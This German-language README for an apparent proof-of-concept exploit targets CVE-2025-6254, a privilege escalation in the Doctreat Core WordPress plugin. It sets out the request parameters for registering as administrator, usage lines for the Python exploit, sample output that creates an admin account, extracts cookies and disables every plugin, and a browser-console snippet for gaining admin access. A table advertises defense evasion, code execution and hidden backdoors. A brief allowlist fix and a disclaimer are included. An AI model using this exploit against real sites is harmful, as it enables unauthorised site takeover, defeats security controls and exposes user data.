
CVE-2025-6254 — Doctreat Core <= 1.6.8 — Nicht authentifizierte Privilegienausweitung
Das WordPress-Plugin Doctreat Core in den Versionen <= 1.6.8 ist anfällig für eine nicht authentifizierte Privilegieneskalation. Dieser kritische Fehler erlaubt nicht authentifizierten Angreifern, direkt über den AJAX-Registrierungsendpunkt des Plugins ein neues Administrator-Konto zu erstellen.
Die Schwachstelle beruht auf der Funktion doctreat_process_registration() in hooks/hooks.php, die den Parameter user_type direkt aus den vom Benutzer gesendeten POST-Daten übernimmt und ihn als Parameter role an wp_update_user() übergibt, ohne ordnungsgemäße Autorisierung oder Whitelist-Prüfung. Das Plugin wendet nur esc_sql() an (was keine Rollen validiert) — es prüft nie, ob die Rolle für die öffentliche Registrierung sicher ist.
Durchbruch-Entdeckung: Das von Doctreat verwendete Nonce (scripts_vars.ajax_nonce) wird auf jeder öffentlichen Seite des aktiven Doctreat-Themas offengelegt. Der Parameter user_type, der normalerweise steuert, ob ein Benutzer als "doctors", "hospitals" oder "regular_users" registriert wird, kann per POST auf user_type=administrator überschrieben werden — und dieser Wert wird direkt als WordPress role-Parameter übergeben.
/wp-admin/admin-ajax.php?action=doctreat_process_registrationuser_type=administrator zusammen mit normalen Registrierungsfeldernajax_nonce aus öffentlichen Seiten des Doctreat-Themas// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
'ID' => esc_sql( $user_identity ),
'role' => esc_sql( $user_type ), // ← user_type from $_POST via extract($_POST)
'user_status' => 0
) );
// ~ line 311 — Sets _is_verified after registration
update_user_meta( $user_identity, '_is_verified', 'no' );
Hinweis: Bei Zielen mit standardmäßigen Verifizierungseinstellungen ($verify_user leer oder 'remove') wird der Benutzer automatisch verifiziert und erhält sofortigen Admin-Zugriff. Bei Zielen mit E-Mail-Verifizierung oder Admin-Freigabe sind zusätzliche Verifizierungsschritte erforderlich.
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080
python3 CVE-2025-6254_exploit.py target.com username password
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator
[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR
[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}
[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access
[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!
Nach der Ausführung des Exploits kopieren Sie das generierte JavaScript und fügen Sie es in die DevTools-Konsole Ihres Browsers ein (F12):
(function() {
'use strict';
console.log('[*] Starting WordPress admin access...');
// ... cookies set automatically ...
window.location.href = 'https://target.com/wp-admin/';
})();
requests library (pip install requests)// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
$user_type = 'regular_users'; // ← Reject ALL dangerous roles
}
current_user_can('create_users')-Berechtigungsprüfungen für privilegierte Rollen hinzuuser_type, bevor Sie es an wp_update_user() übergebenDiese Informationen werden nur für Bildungszwecke und autorisierte Penetrationstests bereitgestellt. Die unbefugte Ausnutzung von Computersystemen ist illegal und unethisch. Holen Sie immer eine ausdrückliche schriftliche Genehmigung ein, bevor Sie ein Ziel testen, das Ihnen nicht gehört.
| Fähigkeit | Auswirkung |
|---|
| 🔑 Admin-Konto ohne Anmeldung erstellen | Komplette Website-Übernahme |
| 🎛️ Alle Sicherheits-Plugins automatisch deaktivieren | Umgehung der Verteidigung |
| 💉 Plugin-/Theme-PHP-Dateien bearbeiten | Remote-Code-Ausführung |
| 🕳️ Versteckte Hintertüren installieren | Dauerhafter Zugriff |
| 👥 Alle Benutzerdaten anzeigen | Datenschutzverletzung |